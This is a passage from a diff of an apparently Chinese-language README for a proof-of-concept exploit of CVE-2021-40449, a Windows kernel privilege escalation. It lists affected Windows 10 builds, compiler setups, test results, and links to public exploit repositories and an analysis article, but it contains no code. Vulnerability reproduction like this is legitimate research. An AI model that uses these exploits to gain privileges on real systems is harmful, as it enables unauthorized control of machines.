| Windows 10 | x86/x64/AMD64 | 1809 | | &#10004; |
| Windows 10 | x86/x64/AMD64 | 1909 | | |
| Windows 10 | x86/x64/AMD64 | 2004 | | |
| Windows 10 | x86/x64/AMD64 | 20H2 | | |
@@ -41,12 +41,20 @@ https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-4044
编译环境
- VS2019V120X64 Release
- VS2019V120X64 ReleaseCVE-2021-40449_1607_x64
- VS2019V142X64 ReleaseCallbackHell
测试系统Windows 10 1607 X64目前改POC测试了20H1等高版本系统利用失败
> 推荐使用CallbackHell的代码进行提权
测试系统Windows 10 1607 X64演示使用的是CVE-2021-40449_1607_x64文件中的代码进行编译
![image-20210911115757383](https://raw.github.com/Ascotbe/Random-img/master/Kernelhub/CVE-2021-40449Windows_10_1607_X64.gif)
#### 参考项目
- [KaLendsi](https://github.com/KaLendsi/CVE-2021-40449-Exploit)
- [KaLendsi](https://github.com/KaLendsi/CVE-2021-40449-Exploit)
- [ly4k]( https://github.com/ly4k/CallbackHell.git)
#### 分析文章
- [在野定向攻击所用Windows本地提权漏洞复现和分析](https://mp.weixin.qq.com/s/AcFS0Yn9SDuYxFnzbBqhkQ)